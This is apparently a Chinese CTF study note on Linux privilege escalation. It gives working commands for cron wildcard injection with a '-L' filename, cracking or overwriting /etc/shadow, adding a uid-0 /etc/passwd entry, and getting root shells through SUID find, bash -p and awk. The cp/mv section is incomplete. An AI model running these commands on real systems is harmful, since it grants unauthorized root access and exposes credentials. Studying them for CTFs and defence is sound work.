linux下提权(持续)

提权

提权做的少,感觉真碰上了只觉得sudo熟悉,多多看下其他可行可考的方法

定时任务

定时任务(cron job)被用于安排那些需要被周期性执行的命令。
利用它,你可以配置某些命令或者脚本,让它们在某个设定的时间内周期性地运行。
cron 是 Linux 或者类 Unix 系统中最为实用的工具之一。
cron 服务(守护进程)在系统后台运行,并且会持续地检查 /etc/crontab 文件和 /etc/cron.*/ 目录。它同样也会检查 /var/spool/cron/ 目录。
crontab -l cat /etc/crontab``ls -l /etc/cron*查看定时任务

软链接

湾区杯有一道定时任务提权题目

1
2
3
4
5
6
7
8
9
#!/bin/bash
cd /var/www/html/
while :
do
cp -P * /var/www/html/backup/
chmod 755 -R /var/www/html/backup/
sleep 15s

done

注意几个点

  • 这个脚本是root权限,可以复制flag等文件
  • 这里用的是cp复制,而*属于我们可以注入的地方
  • chmod 755 -R,说明这个目录是可读的
    我们需要构造一个名称”-L”的文件,这要可以复制软链接指向的文件
    然后我们再建立一个软链接指向/flag
    1
    2
    touch -- "-L"
    ln -s /flag link
    等待定时任务执行即可读取flag

文件利用提权

shadow文件

可读

ls -liah /etc/shadow
枚举shadow文件,发现全局可读,存在利用条件
提取出hash用户

1
2
3
4
cat /etc/shadow | grep ':\$'
将获得的hash存入文件里
利用john进行破解
sudo john shadow_root --wordlist=/usr/share/wordlists/rockyou.txt

得到root密码,登录系统

可写

1
2
3
mkpasswd -m sha-512 123456
仿造root用户的hash替换保存
回到靶机进行替换即可

即可登录获取权限
不难,但是得知道

suid权限

suid允许普通用户在无需切换到超级用户的情况下以root身份执行命令,这样本来一个是test的用户,如果当前环境有一个base32具备sudo权限,可以以root身份执行。
那么可以执行base32 /flag读取高权限的文件
这毫无疑问,是提权学习的重点

查找suid

1
2
3
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
1
2
3
4
5
6
7
8
9
find / -perm -u=s -type f 2>/dev/null
/表示从文件系统的顶部(根)开始并找到每个目录
-perm 表示搜索随后的权限
-u = s表示查找root用户拥有的文件
-type表示我们正在寻找的文件类型
f 表示常规文件,而不是目录或特殊文件
2表示该进程的第二个文件描述符,即stderr(标准错误)
>表示重定向
/dev/null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。

找到这些可执行程序之后,就可以查找是否有suid权限ls -al /usr/bin/su
如果有,类似base,rev,nl可以直接读/flag
也存在一些出题人,重写了类如rev,这时候需要你base64把二进制文件弄下来进行逆向
这里推荐一个网站,很方便查找https://gtfobins.github.io/

若干suid程序的提权方法

find

1
2
3
4
5
6
7
8
9
find 具有suid权限的filename -exec whoami \; -quit
#root
find 具有suid权限的filename -exec /bin/sh -p \; -quit
#whoami
#root
还有一种差不多的提权方法
#先前利用以上查找suid文件查询到了/usr/bin/find 有suid权限
touch 1.txt #创建1.txt
/usr/bin/find 1.txt -exec whoami \;

cp/mv

据我了解cp和mv覆盖方式是差不多的,这里以cp进行详解

主要是利用cp命令覆盖/etc/passwd从而进行提权,这里我看了一下网上都没有写主要步骤的,都是搪塞了过去,我这里研究了一下原理,写一下我的cp覆盖过程

1
2
3
4
5
6
7
8
whoami
#qszd
cat /etc/passwd
openssl passwd -1 -salt test testaaa
echo 'test:$1$test$giCVmzusADSPMon2mwEWo1:0:0::/root/:/bin/sh' >> passwd
echo 'test:$1$test$giCVmzusADSPMon2mwEWo1:0:0::/root/:/bin/sh' >> passwd
su - test
#root

bash

bash命令有的靶机是设置了suid权限的,有的没有设置suid权限

我的靶机没有设置suid权限,这里就口头描述一下

1
2
3
4
5
6
id
#uid=1024(qsdz) gid=999(qsdz) groups=999(qsdz)
bash -p
#生成一个 bash-3.2#
bash-3.2# id
#uid=1024(qsdz) gid=999(qsdz) euid=0(root) groups=999(qsdz)

awk

awk利用以下命令进入shell,其原理和上面的bash差不多

1
2
3
awk 'BEGIN {system("/bin/bash")}'
bash-3.2$ whoami
#root

至于其他若干可执行命令,可自行在网站进行查询

其他奇怪的提权方式

1
cat ~/.bash_history

这个命令可以查看当前用户使用过的历史命令

有可能会得到root登录的密码

结语

各式提权方式很多,但是等实际碰到了再做归纳

参考文章

https://www.huangmj.com/17116743651246.html#5-sudo-awk
https://www.cnblogs.com/yuy0ung/articles/18421480
https://www.huangmj.com/17123057141312.html
https://haslet007.cn/2025/03/27/suid%E6%8F%90%E6%9D%83sudo%E6%8F%90%E6%9D%83/